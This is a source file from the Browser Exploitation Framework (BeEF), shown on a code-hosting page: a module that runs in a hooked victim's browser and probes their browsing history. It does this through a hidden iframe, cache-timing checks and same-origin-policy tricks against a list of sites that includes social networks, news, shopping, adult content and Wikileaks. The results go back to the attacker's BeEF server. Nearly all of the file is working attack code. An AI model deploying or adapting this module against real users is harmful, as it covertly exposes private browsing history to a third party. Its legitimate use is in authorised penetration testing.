Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/get_visited_domains/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
var hidden_iframe = beef.dom.createInvisibleIframe();
9
hidden_iframe.setAttribute('id','f');
10
hidden_iframe.setAttribute('name','f');
11
hidden_iframe.setAttribute('src','about:blank');
12
hidden_iframe.setAttribute('style','opacity: 0.1');
13
14
var results = "";
15
var tries = 0;
16
17
var isIE = 0;
18
var isFF = 0;
19
var isO = 0;
20
var isC = 0;
21
22
/*******************************
23
* SUB-MS TIMER IMPLEMENTATION *
24
*******************************/
25
var cycles = 0;
26
var exec_next = null;
27
28
function timer_interrupt() {
29
cycles++;
30
if (exec_next) {
31
var cmd = exec_next;
32
exec_next = null;
33
cmd();
34
}
35
}
36
37
if (beef.browser.isFF() == 1) {
38
window.addEventListener('message', timer_interrupt, false);
39
40
/****************
41
* SCANNED URLS *
42
****************/
43
var targets = [
44
{ 'category': 'Social networks' },
45
{ 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
46
'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
47
'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },
48
{ 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },
49
50
{ 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz',
51
'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] },
52
{ 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },
53
{ 'category': 'Content platforms' },
54
{ 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },
55
{ 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] },
56
{ 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },
57
{ 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] },
58
{ 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },
59
{ 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] },
60
{ 'category': 'Online media' },
61
{ 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },
62
{ 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',
63
'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },
64
{ 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] },
65
{ 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] },
66
{ 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },
67
{ 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },
68
{ 'category': 'Commerce' },
69
{ 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12',
70
'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] },
71
{ 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },
72
{ 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },
73
{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },
74
{ 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },
75
{ 'category': 'Coding' },
76
{ 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] },
77
{ 'category': 'Security' },
78
{ 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] },
79
{ 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] },
80
{ 'category': 'Email' },
81
{ 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] }
82
];
83
/*************************
84
* CONFIGURABLE SETTINGS *
85
*************************/
86
var TIME_LIMIT = 5;
87
var MAX_ATTEMPTS = 2;
88
}
89
if (beef.browser.isIE() == 1) {
90
/****************
91
* SCANNED URLS *
92
****************/
93
var targets = [
94
{ 'category': 'Social networks' },
95
{ 'name': 'Facebook', 'urls': [ 'http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png',
96
'https://s-static.ak.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png' ] },
97
{ 'name': 'Twitter', 'urls': [ 'http://twitter.com/phoenix/favicon.ico',
98
'https://twitter.com/phoenix/favicon.ico' ] },
99
{ 'name': 'LinkedIn', 'urls': [ 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png',
100
'http://s3.licdn.com/scds/common/u/img/logos/logo_2_237x60.png',
101
'http://s4.licdn.com/scds/common/u/img/logos/logo_132x32_2.png' ] },
102
{ 'name': 'Orkut', 'urls': [ 'http://static3.orkut.com/img/gwt/logo_orkut_default.png' ] },
103
{ 'name': 'Dogster', 'urls': [ 'http://a2.cdnsters.com/static/images/sitewide/logos/dsterBanner-sm.png' ] },
104
{ 'category': 'Content platforms' },
105
{ 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/favicon-refresh-vfldLzJxy.ico' ] },
106
{ 'name': 'Hulu', 'urls': [ 'http://www.hulu.com/fat-favicon.ico' ] },
107
{ 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/favicon.ico' ] },
108
{ 'name': 'Wikipedia (EN)', 'urls': [ 'http://en.wikipedia.org/favicon.ico' ] },
109
{ 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/favicon.ico' ] },
110
{ 'category': 'Online media' },
111
{ 'name': 'New York Times', 'urls': [ 'http://css.nyt.com/images/icons/nyt.ico' ] },
112
{ 'name': 'CNN', 'urls': [ 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/hdr-main.gif',
113
'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif' ] },
114
{ 'name': 'Slashdot', 'urls': [ 'http://slashdot.org/favicon.ico',
115
'http://a.fsdn.com/sd/logo_w_l.png' ] },
116
{ 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/favicon.ico' ] },
117
{ 'name': 'Fox News', 'urls': [ 'http://www.foxnews.com/i/redes/foxnews.ico' ] },
118
{ 'name': 'AboveTopSecret.com', 'urls': [ 'http://files.abovetopsecret.com/images/atssitelogo-f.png' ] },
119
{ 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/IMG/wlogo.png' ] /* this session only */ },
120
{ 'category': 'Commerce' },
121
{ 'name': 'Diapers.com', 'urls': [ 'http://c4.diapers.com/Images/favicon.ico' ] },
122
{ 'name': 'Amazon (US)', 'urls': [ 'http://g-ecx.images-amazon.com/images/G/01/gno/images/general/navAmazonLogoFooter._V169459313_.gif' ] },
123
{ 'name': 'eBay', 'urls': [ 'http://www.ebay.com/favicon.ico' ] },
124
{ 'name': 'Walmart', 'urls': [ 'http://www.walmart.com/favicon.ico' ] },
125
{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/Nest/Newegg.ico' ] }
126
];
127
/*************************
128
* CONFIGURABLE SETTINGS *
129
*************************/
130
131
var TIME_LIMIT = 1;
132
var MAX_ATTEMPTS = 1;
133
}
134
135
if (beef.browser.isO() == 1){
136
/****************
137
* SCANNED URLS *
138
****************/
139
var targets = [
140
{ 'category': 'Social networks' },
141
{ 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
142
'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
143
'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },
144
{ 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },
145
146
{ 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz',
147
'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] },
148
{ 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },
149
{ 'category': 'Content platforms' },
150
{ 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },
151
{ 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] },
152
{ 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },
153
{ 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] },
154
{ 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },
155
{ 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] },
156
{ 'category': 'Online media' },
157
{ 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },
158
{ 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',
159
'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },
160
{ 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] },
161
{ 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] },
162
{ 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },
163
{ 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },
164
{ 'category': 'Commerce' },
165
{ 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12',
166
'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] },
167
{ 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },
168
{ 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },
169
{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },
170
{ 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },
171
{ 'category': 'Coding' },
172
{ 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] },
173
{ 'category': 'Security' },
174
{ 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] },
175
{ 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] },
176
{ 'category': 'Email' },
177
{ 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] }
178
];
179
/*************************
180
* CONFIGURABLE SETTINGS *
181
*************************/
182
var TIME_LIMIT = 3;
183
var MAX_ATTEMPTS = 1;
184
}
185
186
/* Fetch additional targets specified by user */
187
var domains = '<%= @domains %>';
188
var r = new RegExp(/(\b[^,;]+\b)\s*;\s*([^$,]+)/gm);
189
var res;
190
191
while ((res = r.exec(domains)) != null) {
192
targets.push({'name': res[1], 'urls': res[2]});
193
}
194
195
function sched_call(fn) {
196
exec_next = fn;
197
window.postMessage('123', '*');
198
}
199
200
201
/**********************
202
* MAIN STATE MACHINE *
203
**********************/
204
var log_area;
205
var target_off = 0;
206
var attempt = 0;
207
var confirmed_visited = false;
208
var current_url, current_name;
209
var wait_cycles;
210
var frame_ready = false;
211
var start, stop, urls;
212
213
/* The frame was just pointed to data:... at this point. Initialize a new test, giving the
214
frame some time to fully load. */
215
function perform_check() {
216
wait_cycles = 0;
217
if (beef.browser.isIE() == 1) {
218
setTimeout(wait_for_read, 0);
219
}
220
if (beef.browser.isFF() == 1) {
221
setTimeout(wait_for_read, 1);
222
}
223
if(beef.browser.isO() == 1){
224
setTimeout(wait_for_read, 1);
225
}
226
}
227
228
229
/* Confirm that data:... is loaded correctly. */
230
function wait_for_read() {
231
if (wait_cycles++ > 100) {
232
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=Something went wrong, sorry');
233
return;
234
}
235
if (beef.browser.isFF() == 1) {
236
if (!frame_ready) {
237
setTimeout(wait_for_read, 1);
238
} else {
239
document.getElementById('f').contentWindow.stop();
240
setTimeout(navigate_to_target, 1);
241
}
242
}
243
if (beef.browser.isIE() == 1) {
244
try{
245
if (frames['f'].location.href != 'about:blank') throw 1;
246
//if(document.getElementById('f').contentWindow.location.href != 'about:blank') throw 1;
247
document.getElementById("f").src ='javascript:"<body onload=\'parent.frame_ready = true\'>"';
248
setTimeout(wait_for_read2, 0);
249
} catch (e) {
250
setTimeout(wait_for_read, 0);
251
}
252
}
253
if (beef.browser.isO() == 1){
254
try{
255
256
if(frames['f'].location.href != 'about:blank') throw 1;
257
258
frames['f'].stop();
259
document.getElementById('f').src = 'javascript:"<body onload=\'parent.frame_ready = true\'>"';
260
setTimeout(wait_for_read2, 1);
261
} catch(e){
262
setTimeout(wait_for_read, 1);
263
}
264
}
265
}
266
267
function wait_for_read2() {
268
if (wait_cycles++ > 100) {
269
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=Something went wrong, sorry');
270
return;
271
}
272
if (!frame_ready) {
273
setTimeout(wait_for_read2, 0);
274
} else {
275
setTimeout(navigate_to_target, 1);
276
}
277
}
278
279
280
281
/* Navigate the frame to the target URL. */
282
function navigate_to_target() {
283
cycles = 0;
284
if (beef.browser.isFF() == 1) {
285
sched_call(wait_for_noread);
286
}
287
if (beef.browser.isIE() == 1) {
288
setTimeout(wait_for_noread, 0);
289
}
290
if (beef.browser.isO() == 1){
291
setTimeout(wait_for_noread, 1);
292
}
293
urls++;
294
document.getElementById("f").src = current_url;
295
}
296
297
298
/* The browser is now trying to load the destination URL. Let's see if
299
we lose SOP access before we hit TIME_LIMIT. If yes, we have a cache
300
hit. If not, seems like cache miss. In both cases, the navigation
301
will be aborted by maybe_test_next(). */
302
303
function wait_for_noread() {
304
try {
305
if (beef.browser.isIE() == 1) {
306
if (frames['f'].location.href == undefined){
307
confirmed_visited = true;
308
throw 1;
309
}
310
if (cycles++ >= TIME_LIMIT) {
311
maybe_test_next();
312
return;
313
}
314
setTimeout(wait_for_noread, 0);
315
}
316
if (beef.browser.isFF() == 1) {
317
if (document.getElementById('f').contentWindow.location.href == undefined)
318
{
319
confirmed_visited = true;
320
throw 1;
321
}
322
if (cycles >= TIME_LIMIT) {
323
maybe_test_next();
324
return;
325
}
326
sched_call(wait_for_noread);
327
}
328
if (beef.browser.isO() == 1){
329
if (frames['f'].location.href == undefined){
330
confirm_visited = true;
331
throw 1;
332
}
333
if (cycles++ >= TIME_LIMIT) {
334
maybe_test_next();
335
return;
336
}
337
setTimeout(wait_for_noread, 1);
338
}
339
} catch (e) {
340
confirmed_visited = true;
341
maybe_test_next();
342
}
343
}
344
345
function maybe_test_next() {
346
frame_ready = false;
347
if (beef.browser.isFF() == 1) {
348
document.getElementById('f').src = 'data:text/html,<body onload="parent.frame_ready = true">';
349
}
350
if (beef.browser.isIE() == 1) {
351
document.getElementById("f").src = 'about:blank';
352
}
353
if (beef.browser.isO() == 1) {
354
document.getElementById('f').src = 'about:blank';
355
}
356
if (target_off < targets.length) {
357
if (targets[target_off].category) {
358
//log_text(targets[target_off].category + ':', 'p', 'category');
359
target_off++;
360
}
361
if (confirmed_visited) {
362
log_text('Visited: ' + current_name + ' [' + cycles + ':' + attempt + ']', 'li', 'visited');
363
}
364
if (confirmed_visited || attempt == MAX_ATTEMPTS * targets[target_off].urls.length) {
365
if (!confirmed_visited)
366
//continue;
367
log_text('Not visited: ' + current_name + ' [' + cycles + '+]', 'li', 'not_visited');
368
confirmed_visited = false;
369
target_off++;
370
attempt = 0;
371
maybe_test_next();
372
} else {
373
current_url = targets[target_off].urls[attempt % targets[target_off].urls.length];
374
current_name = targets[target_off].name;
375
attempt++;
376
perform_check();
377
}
378
}
379
}
380
381
382
/* Just a logging helper. */
383
function log_text(str, type, cssclass) {
384
results+="<br>";
385
results+=str;
386
//alert(str);
387
if(target_off==(targets.length-1)){
388
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+results);
389
setTimeout(reload,3000);
390
}
391
}
392
393
function reload(){
394
//window.location.href=window.location.href;
395
window.location.reload();
396
}
397
398
/* Decides what to do next. May schedule another attempt for the same target,
399
select a new target, or wrap up the scan. */
400
401
402
403
/* The handler for "run the test" button on the main page. Dispenses
404
advice, resets state if necessary. */
405
function start_stuff() {
406
if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isO() == 1) {
407
target_off = 0;
408
attempt = 0;
409
confirmed_visited = false;
410
urls = 0;
411
results = "";
412
maybe_test_next();
413
}
414
else {
415
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=This proof-of-concept is specific to Firefox, Internet Explorer, Chrome and Opera, and probably won\'t work for you.');
416
}
417
}
418
419
/**************/
420
/***Visipisi***/
421
/**************/
422
var vp_result = {};
423
424
var visipisi = {
425
webkit: function(url, cb) {
426
var start;
427
var loaded = false;
428
var runtest = function() {
429
window.removeEventListener("message", runtest, false);
430
var img = new Image();
431
start = new Date().getTime();
432
try{
433
img.src = url;
434
} catch(e) {}
435
var messageCB = function (e){
436
var now = new Date().getTime();
437
if (img.complete) {
438
delete img;
439
window.removeEventListener("message", messageCB, false);
440
cbWrap(true);
441
} else if (now - start > 10) {
442
delete img;
443
if (window.stop !== undefined)
444
window.stop();
445
else
446
document.execCommand("Stop",false);
447
window.removeEventListener("message", messageCB, false);
448
cbWrap(false);
449
} else {
450
window.postMessage('','*');
451
}
452
453
};
454
window.addEventListener("message", messageCB, false);
455
window.postMessage('','*');
456
};
457
cbWrap = function (value) {cb(value);};
458
window.addEventListener("message", runtest, false);
459
window.postMessage('','*');
460
}
461
};
462
463
function visipisiCB(vp, endCB, sites, urls, site, result){
464
if(result === null){
465
vp_result[site] = 'Whoops';
466
}
467
else{
468
vp_result[site] = result ? 'visited' : 'not visited';
469
}
470
var next_site = sites.pop();
471
if(next_site)
472
vp( urls[next_site], function (result) {
473
visipisiCB(vp, endCB, sites, urls, next_site, result);
474
});
475
else
476
endCB();
477
}
478
479
function getVisitedDomains(){
480
var tests = {
481
facebook: 'https://s-static.ak.facebook.com/rsrc.php/v1/yJ/r/vOykDL15P0R.png',
482
twitter: 'https://twitter.com/images/spinner.gif',
483
digg: 'http://cdn2.diggstatic.com/img/sprites/global.5b25823e.png',
484
reddit: 'http://www.redditstatic.com/sprite-reddit.pZL22qP4ous.png',
485
hn: 'http://ycombinator.com/images/y18.gif',
486
stumbleupon: 'http://cdn.stumble-upon.com/i/bg/logo_su.png',
487
wired: 'http://www.wired.com/images/home/wired_logo.gif',
488
xkcd: 'http://imgs.xkcd.com/s/9be30a7.png',
489
linkedin: 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png',
490
slashdot: 'http://a.fsdn.com/sd/logo_w_l.png',
491
myspace: 'http://cms.myspacecdn.com/cms/x/11/47/title-WhatsHotWhite.jpg',
492
engadget: 'http://www.blogsmithmedia.com/www.engadget.com/media/engadget_logo.png',
493
lastfm: 'http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png',
494
pandora: 'http://www.pandora.com/img/logo.png',
495
youtube: 'http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif',
496
yahoo: 'http://l.yimg.com/ao/i/mp/properties/frontpage/01/img/aufrontpage-sprite.s1740.gif',
497
google: 'https://www.google.com/intl/en_com/images/srpr/logo3w.png',
498
hotmail: 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.8/~/~/~/~/images/iconmap.png',
499
cnn: 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif',
500
bbc: 'http://static.bbc.co.uk/frameworks/barlesque/1.21.2/desktop/3/img/blocks/light.png',
501
reuters: 'http://www.reuters.com/resources_v2/images/masthead-logo.gif',
502
wikipedia: 'http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png',
503
amazon: 'http://g-ecx.images-amazon.com/images/G/01/gno/images/orangeBlue/navPackedSprites-US-22._V183711641_.png',
504
ebay: 'http://p.ebaystatic.com/aw/pics/au/logos/logoEbay_x45.gif',
505
newegg: 'http://images10.newegg.com/WebResource/Themes/2005/Nest/neLogo.png',
506
bestbuy: 'http://images.bestbuy.com/BestBuy_US/en_US/images/global/header/hdr_logo.gif',
507
walmart: 'http://i2.walmartimages.com/i/header_wide/walmart_logo_214x54.gif',
508
perfectgirls: 'http://www.perfectgirls.net/img/logoPG_02.jpg',
509
abebooks: 'http://www.abebooks.com/images/HeaderFooter/siteRevamp/AbeBooks-logo.gif',
510
msy: 'http://msy.com.au/images/MSYLogo-long.gif',
511
techbuy: 'http://www.techbuy.com.au/themes/default/images/tblogo.jpg',
512
borders: 'http://www.borders.com.au/images/ui/logo-site-footer.gif',
513
mozilla: 'http://www.mozilla.org/images/template/screen/logo_footer.png',
514
anandtech: 'http://www.anandtech.com/content/images/globals/header_logo.png',
515
tomshardware: 'http://m.bestofmedia.com/i/tomshardware/v3/logo_th.png',
516
shopbot: 'http://i.shopbot.com.au/s/i/logo/en_AU/shopbot.gif',
517
staticice: 'http://staticice.com.au/images/banner.jpg',
518
};
519
520
var sites = [];
521
for (var k in tests) {
522
sites.push(k);
523
}
524
525
sites.reverse();
526
527
vp = visipisi.webkit;
528
var first_site = sites.pop();
529
var end = function() {
530
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+prepResult(vp_result));
531
}
532
533
vp(tests[first_site], function(result) {
534
visipisiCB(vp, end, sites, tests, first_site, result);
535
});
536
}
537
538
function prepResult(results){
539
var result_str ='<br>';
540
for(r in results){
541
result_str += r + ':' + results[r]+'<br>';
542
}
543
return result_str;
544
}
545
546
beef.execute(function() {
547
if(beef.browser.isC() == 1){
548
getVisitedDomains();
549
550
} else {
551
urls = undefined;
552
exec_next = null;
553
start_stuff();
554
}
555
});
556
557
558
559